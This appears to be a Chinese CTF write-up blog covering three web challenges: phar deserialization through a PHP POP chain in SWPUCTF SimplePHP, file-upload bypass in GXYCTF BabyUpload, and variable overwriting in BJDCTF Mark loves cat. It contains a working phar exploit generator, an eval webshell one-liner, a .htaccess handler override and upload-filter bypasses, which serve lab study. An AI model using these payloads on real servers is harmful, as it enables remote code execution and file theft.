加题
[SWPUCTF 2018]SimplePHP
文件包含 + pop链 + phar反序列化 + 文件上传
审计找到入口?file= 按逻辑链,拿到文件目录
index.php
base.php
f1ag.php (不可以访问)
function.php
class.php
关键源码:class.php
<?php
class C1e4r
{
public $test;
public $str;
public function __construct($name)
{
$this->str = $name;
}
public function __destruct()
{
$this->test = $this->str;
echo $this->test;
}
}
class Show
{
public $source;
public $str;
public function __construct($file)
{
$this->source = $file;
echo $this->source;
}
public function __toString()
{
$content = $this->str['str']->source;
return $content;
}
public function __set($key,$value)
{
$this->$key = $value;
}
public function _show()
{
if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
die('hacker!');
} else {
highlight_file($this->source);
}
}
public function __wakeup()
{
if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
echo "hacker~";
$this->source = "index.php";
}
}
}
class Test
{
public $file;
public $params;
public function __construct()
{
$this->params = array();
}
public function __get($key)
{
return $this->get($key);
}
public function get($key)
{
if(isset($this->params[$key])) {
$value = $this->params[$key];
} else {
$value = "index.php";
}
return $this->file_get($value);
}
public function file_get($value)
{
$text = base64_encode(file_get_contents($value));
return $text;
}
}
?>
思路(借用): C1e4r类中有__destruct()
__destruct()是PHP中的析构方法,在对象被销毁时被调用,程序结束时会被自动调用销毁对象。
函数中发现了echo,那么要利用echo $this->test
public function __destruct()
{
$this->test = $this->str;
echo $this->test;
}
show类有__toString()
_toString方法在将一个对象转化成字符串时被自动调用,比如进行echo,print操作时会被调用并返回一个字符串。
利用$this->str['str']->source;
public function __toString()
{
$content = $this->str['str']->source;
return $content;
}
Test类有__get()
__get()当未定义的属性或没有权限访问的属性被访问时该方法会被调用。
利用 $this->get --> $this->file_get($value); -->base64_encode(file_get_contents($value)); 上面source没有定义
public function __get($key)
{
return $this->get($key);
}
public function get($key)
{
if(isset($this->params[$key])) {
$value = $this->params[$key];
} else {
$value = "index.php";
}
return $this->file_get($value);
}
public function file_get($value)
{
$text = base64_encode(file_get_contents($value));
return $text;
}
其中调用了file_get_contents($value)函数的file_get函数很重要,一般看到调用了file_get_contents 就可以认为这个是pop链的结束。
整个pop链触发
C1e4r::destruct() --> Show::toString() --> Test::__get() 。
根据pop链构造exp,目的触发phar反序列化,生成exp.phar文件
<?php
class C1e4r
{
public $test;
public $str;
}
class Show
{
public $source;
public $str;
}
class Test
{
public $file;
public $params;
}
$c1e4r = new C1e4r();
$show = new Show();
$test = new Test();
$test->params['source'] = "/var/www/html/f1ag.php";
$c1e4r->str = $show;
$show->str['str'] = $test;
$phar = new Phar("exp.phar");
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ? >');
$phar->setMetadata($c1e4r);
$phar->addFromString("exp.txt", "test");
$phar->stopBuffering();
?>
" 小二,上我的笔记 "
phar文件本质上是一种压缩文件,会以序列化的形式存储用户自定义的meta-data。当受影响的文件操作函数调用phar文件时,会自动反序列化meta-data内的内容。
什么是phar文件
在软件中,PHAR(PHP归档)文件是一种打包格式,通过将许多PHP代码文件和其他资源(例如图像,样式表等)捆绑到一个归档文件中来实现应用程序和库的分发
php通过用户定义和内置的“流包装器”实现复杂的文件处理功能。内置包装器可用于文件系统函数,如(fopen(),copy(),file_exists()和filesize()。 phar://就是一种内置的流包装器。
php中一些常见的流包装器如下:
file:// — 访问本地文件系统,在用文件系统函数时默认就使用该包装器
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流(I/O streams)
zlib:// — 压缩流
data:// — 数据(RFC 2397)
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流
phar文件的结构
stub:phar文件的标志,必须以 xxx __HALT_COMPILER();?> 结尾,否则无法识别。xxx可以为自定义内容。
manifest:phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是漏洞利用最核心的地方。
content:被压缩文件的内容
signature (可空):签名,放在末尾。
如何生成一个phar文件?
<?php
class Test {
}
@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$o = new Test();
$phar->setMetadata($o);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>
知识点:
@unlink
屏蔽错误信息.
如果unlink 执行失败, 会给个警告信息或者错误信息.
@ 的作用就是执行失败的时候,不显示任何错误信息
若成功,则返回 true,失败则返回 false。
语法
unlink(filename,context)
参数 | 描述 |
---|
filename | 必需。规定要删除的文件。 | context | 可选。规定文件句柄的环境。Context 是可修改流的行为的一套选项。 |
今天也刷了两道ctfshow基操文件上传,这里直接上手 看源码可知,后端有文件格式限制,如下白名单
function upload_file_check() {
global $_FILES;
$allowed_types = array("gif","jpeg","jpg","png");
$temp = explode(".",$_FILES["file"]["name"]);
$extension = end($temp);
if(empty($extension)) {
}
else{
if(in_array($extension,$allowed_types)) {
return true;
}
else {
echo '<script type="text/javascript">alert("Invalid file!");</script>';
return false;
}
}
}
?>
上传exp.phar 抓包修改文件格式,放包,访问 /uoload ,看到上传文件目录,选最近的日期,拿到文件名去文件包含入口获取文件信息(反序列化后的信息)
?file=phar://md5加密文件名.jpg
拿到base64加密的序列化字符串(f1ag)
补题
[GXYCTF2019]BabyUpload1
正常开端一句话木马
<?php eval($_POST[cmd]);?>
php文件不许上传, 尝试上传jpg 换个姿势改一下内容
<script language='php'>eval($_POST[cmd]);</script>
上传成功,记得这个路径
因为是jpg文件,无法解析php,观察是Apache server,上传.htaccess文件来将其他文件解析成PHP文件
.htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能
<FilesMatch "jpg">
SetHandler application/x-httpd-php
</FilesMatch>
有检测机制,是服务端Content-type类型检测 Burp抓包修改Content-type类型为image/jpeg即可
上传成功,访问jpg上传路径就可以rce
disabled functions show_source()函数 cmd=show_source(’/flag’);
菜刀一下(蚁剑丢了)
补充: .htaccess的方法:
这里时是要包含所有文件带有j1a的文件(只要文件名里面有j1a都可以),都会被当成php代码执行
<FilesMatch "j1a">
SetHandler application/x-httpd-php
</FilesMatch>
[BJDCTF2020]Mark loves cat
dirsearch观察到git文件 git源码泄露
index.php
<?php
include 'flag.php';
$yds = "dog";
$is = "cat";
$handsome = 'yds';
foreach($_POST as $x => $y){
$$x = $y;
}
foreach($_GET as $x => $y){
$$x = $$y;
}
foreach($_GET as $x => $y){
if($_GET['flag'] === $x && $x !== 'flag'){
exit($handsome);
}
}
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
exit($yds);
}
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
exit($is);
}
echo "the flag is: ".$flag;
*foreach函数理解 变量覆盖,我的致命杀,别人理解的,借用一下qwq 可以看到有三个有输出的exit:
exit($handsome);
exit($yds);
exit($is);
解法一: 找一个最简单的,第二个exit:
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
exit($yds);
}
只要不给flag传值就会退出,退出的时候会显示
y
d
s
的
值
,
而
yds的值,而
yds的值,而yds的值在代码最开始的时候初始化过:
$yds = "dog";
初始化和exit之间有代码:
foreach($_POST as $x => $y){
$$x = $y;
}
foreach($_GET as $x => $y){
$$x = $$y;
}
我们只要在这段代码中令$yds=$flag ,将原来$yds变量的值进行覆盖,同时符合退出条件,就可以输出拿到flag。
从下往上逆推,思路要清楚一点。
退出条件是不给flag传值,接着要令
y
d
s
=
yds=
yds=flag
foreach($_GET as $x => $y){
$$x = $$y;
}
所以我们GET传值
?yds=flag
这样就能达到我们的目的,第一个POST的循环都没有用到。
send获取flag
解法二:
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
exit($is);
}
/?is=flag&flag=flag
这里不太明白post flag=flag为什么不可以,希望有心师傅指教
|